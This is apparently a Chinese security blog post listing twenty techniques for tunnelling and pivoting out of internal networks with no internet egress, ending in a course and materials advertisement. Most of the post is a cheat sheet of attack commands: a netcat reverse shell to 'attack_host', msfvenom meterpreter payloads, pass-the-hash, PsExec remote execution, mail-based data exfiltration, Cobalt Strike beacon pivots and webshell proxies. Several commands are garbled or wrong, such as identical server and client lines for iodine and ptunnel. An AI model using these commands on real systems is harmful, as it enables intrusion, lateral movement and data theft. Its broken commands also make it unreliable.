渗透攻防中常见的20种突破内网不出网技巧

**

渗透测试中,突破内网环境是一项极具挑战性的任务,尤其是当目标主机无法直接访问外部网络时。这种情况下,攻击者需要利用各种技巧和工具,在不直接出网的情况下进行内网渗透。本文将详细介绍20种常见的突破内网不出网的技巧,供参考。

一、基于隧道和代理的突破技巧
(一)端口转发(Port Forwarding)

端口转发是一种常用的技术,可以通过中间主机将流量转发到目标主机或从目标主机引导流量到外部网络。常见的端口转发方式包括:

  1. 1. 本地端口转发(Local Port Forwarding)

攻击者将目标主机的某些服务通过中间主机转发到攻击者的本地端口,从而像在本地访问这些服务一样。例如,通过SSH端口转发访问目标内网中的数据库服务器:

ssh -L 3306:192.168.1.100:3306 user@middle_host


上述命令将目标主机192.168.1.100的MySQL服务(端口3306)转发到攻击者的本地端口3306。

  1. 2. 远程端口转发(Remote Port Forwarding)

当目标主机无法主动访问外部网络时,可以通过目标主机将流量反向转发到攻击者的主机。例如:

ssh -R 8080:localhost:80 user@attack_host


上述命令将目标主机的本地HTTP服务(端口80)转发到攻击者的主机端口8080。

(二)代理隧道(Proxy Tunnel)

代理隧道是通过已有的主机或服务绕过网络限制的一种方法。常见的代理隧道工具包括:

  1. 3. Socks代理

使用工具如proxychains,通过代理服务器将流量转发出去。例如:

proxychains nmap -sT -Pn internal_host


通过proxychains利用代理进行内网主机扫描。

  1. 4. HTTP代理

通过上传代理脚本到目标服务器,建立代理隧道。例如,reGeorg和Proxifier是常用的代理隧道工具。

(三)DNS隧道(DNS Tunneling)

DNS隧道利用DNS请求在DNS查询中嵌入数据,实现外部通信。即使HTTP、HTTPS等流量被阻止,DNS流量通常不会被完全拦截。常用的DNS隧道工具包括iodine和dnscat2。

  1. 5. 使用iodine建立DNS隧道

在攻击者主机上运行DNS服务器:

iodine -f -c -P password example.com


在目标主机上运行客户端:

iodine -f -c -P password example.com


通过DNS隧道实现数据传输。

(四)ICMP隧道(ICMP Tunneling)

ICMP隧道利用ICMP流量进行数据传输,绕过防火墙。在某些情况下,即使TCP/UDP流量被封锁,ICMP(如Ping)可能仍然可用。常用的ICMP隧道工具包括Ptunnel和icmpsh。

  1. 6. 使用Ptunnel建立ICMP隧道

在攻击者主机上运行Ptunnel:

ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22


在目标主机上运行客户端:

ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22


通过ICMP隧道实现数据传输。

二、基于内网服务的突破技巧

(五)内网横向移动

内网横向移动是通过利用内网中存在的弱口令、未修补漏洞或域账户特权,获取其他内网主机的访问权限。例如:

  1. 7. 使用PsExec远程执行命令
PsExec.exe \192.168.1.100 -u user -p password cmd.exe


通过PsExec远程执行命令,获取其他内网主机的访问权限。

  1. 8. Pass-the-Hash攻击

利用已获取的哈希直接认证,绕过密码验证。例如:

pth-winexe -U user%hash //192.168.1.100 cmd.exe


通过pth-winexe工具进行Pass-the-Hash攻击。

(六)利用内网服务

检查目标主机是否有内网的特定服务,如数据库服务、文件共享服务等,可以通过这些服务找到绕过网络限制的途径。

  1. 9. 利用内网数据库服务

通过内网数据库服务与外部主机通信。例如,利用MySQL的LOAD DATA INFILE功能,将数据写入文件系统,再通过其他方式传输。

  1. 10. 利用SMB隧道

通过SMB隧道利用内网文件共享服务传输数据。例如:

smbclient //192.168.1.100/share -U user

通过SMB客户端访问内网文件共享服务。

(七)邮件、FTP或其他协议出网

某些内网环境可能封锁了常规的HTTP/HTTPS访问,但仍然允许其他协议(如邮件、FTP)进行外部通信。

  1. 11. 使用SMTP协议发送电子邮件

通过SMTP协议发送电子邮件将数据发出。例如:

echo "Data to exfiltrate" | mail -s "Subject" user@example.com


通过SMTP协议发送数据。

  1. 12. 使用FTP上传或下载文件

通过FTP上传或下载文件。例如:

ftp -i 192.168.1.100``put file.txt


通过FTP上传文件。

三、基于反向连接的突破技巧

(八)反向Shell和反向隧道

反向Shell和反向隧道是通过让目标主机发起连接到攻击者主机,建立回连。

  1. 13. 使用Netcat建立反向Shell

在目标主机上运行:

nc -e /bin/sh attack_host 4444


在攻击者主机上监听:

nc -l -p 4444


通过反向Shell连接到攻击者的主机。

  1. 14. 使用Metasploit建立反向Shell

在目标主机上运行:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attack_host LPORT=4444 -f exe -o shell.exe


在攻击者主机上运行:

msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost attack_host; set lport 4444; run"


通过Metasploit建立反向Shell。

(九)Cobalt Strike的中转功能

Cobalt Strike是内网渗透中常用的工具,其Socks代理功能可以在目标主机不通外网的情况下,通过中转功能建立代理连接。

  1. 15. 使用Cobalt Strike的Socks代理

在目标主机上运行Beacon,通过Socks代理功能建立代理连接。例如:

beacon> socks 8080


在攻击者主机上使用代理工具连接到目标主机。

(十)SMB Beacon

SMB Beacon是Cobalt Strike中的一种特殊功能,通过Windows命名管道进行通信,相对隐蔽。

  1. 16. 使用SMB Beacon

创建一个SMB的Listener后,可以在主Beacon上链接或断开子Beacon。例如:

beacon> smb 192.168.1.100 445


通过SMB Beacon建立连接。

四、基于工具和脚本的突破技巧

(十一)reGeorg和Neo-reGeorg

reGeorg是一种常用的代理隧道工具,通过上传脚本到目标服务器的网站目录下,建立代理隧道。Neo-reGeorg则在此基础上增加了加密功能,使数据传输更加隐蔽。

  1. 17. 使用reGeorg建立代理隧道

在目标服务器上上传reGeorg脚本:

curl -o proxy.py http://example.com/reGeorg.py


在攻击者主机上运行代理客户端:

python proxy.py -s http://192.168.1.100/reGeorg.py -l 8080 -r 192.168.1.200:80


通过reGeorg建立代理隧道。

(十二)Pystinger

Pystinger通过WebShell实现内网SOCK4代理,端口映射可以使目标在不出网的情况下上线。

  1. 18. 使用Pystinger建立代理

将stinger_server.exe上传到目标服务器,并在公网VPS上运行stinger_client,建立代理连接。例如:

python stinger_client.py -s 192.168.1.100 -p 8080 -l 8081


通过Pystinger建立代理连接。

(十三)Frp

Frp是一种内网穿透工具,可以在目标主机不通外网的情况下,通过已控的双网卡内网服务器建立通道。

  1. 19. 使用Frp建立内网穿透

在目标主机上运行Frp客户端:

./frpc -c frpc.ini


在攻击者主机上运行Frp服务端:

./frps -c frps.ini


通过Frp建立内网穿透。

(十四)其他工具和脚本

除了上述工具外,还有一些其他工具和脚本可以用于突破内网不出网的场景。

  1. 20. 使用Chisel建立隧道

Chisel是一种轻量级的隧道工具,可以用于内网穿透。例如:

在目标主机上运行:

./chisel client --reverse attack_host:8080 R:8081:localhost:80


在攻击者主机上运行:

./chisel server --port 8080 --reverse


通过Chisel建立隧道。

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴文末免费领取哦,无偿分享!!!

【一一帮助网络安全学习,以下所有资源文末免费领取一一】
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

在这里插入图片描述

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)


那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

这部分内容对于咱们零基础的同学来说还太过遥远了,由于篇幅问题就不展开细说了,我给大家贴一个学习路线。感兴趣的童鞋可以自行研究一下哦,当然你也可以点击这里加我与我一起互相探讨、交流、咨询哦。

资料领取

上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 ↓↓↓ 或者 点击以下链接都可以领取

网络安全学习路线&学习资源

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值